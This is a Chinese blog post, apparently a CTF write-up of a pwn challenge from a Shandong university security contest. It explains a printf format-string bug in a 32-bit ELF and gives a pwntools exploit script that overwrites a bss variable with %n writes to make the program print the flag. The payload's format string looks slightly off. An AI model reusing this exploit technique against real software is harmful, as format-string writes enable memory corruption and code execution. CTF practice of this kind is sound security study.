山东省 “中孚信息杯” 铜牌靶机之pwn
好不容易等到了第六届大学生信息安全大赛,打了也有四五届了吧。这次靶机难得遇到一道pwn题,好气的是比赛前晚上竟然系统崩了,万幸的是最后又复活了。第二天打比赛的时候,才发现我Kali虚拟机上的pwntool完全崩掉了。哎……
今晚正好有点时间,正好做了一下。
下下来题显示是xxx.key文件,然后查了一下是elf的32位,我一开始还以为是ssh的什么密钥攻击呢……然后IDA 分析
没别的东西,直接进locker函数
会发现是一个printf的缓冲区溢出。
确定一下key变量的位置,他是位于bss段
很明确的固定地址0x0804A030,将其覆盖成0x2223322,他会使用/bin/cat读取当前目录下的flag
附上shellcode
#!/usr/bin/env python __author__='croot@xcroot.com' from pwn import * p = process('./sdnisc') trash = 'root' key_address1 = p32(0x0804A030) + trash key_address2 = p32(0x0804A031) + trash key_address3 = p32(0x0804A032) + trash key_address4 = p32(0x0804A033) shellcode = key_address1 + key_address2 + key_address3 + key_address4 + '%x.' * 10 + '%192x%n%17x%n%239x%n%' p.sendline(shellcode) p.interactive()
页面下部广告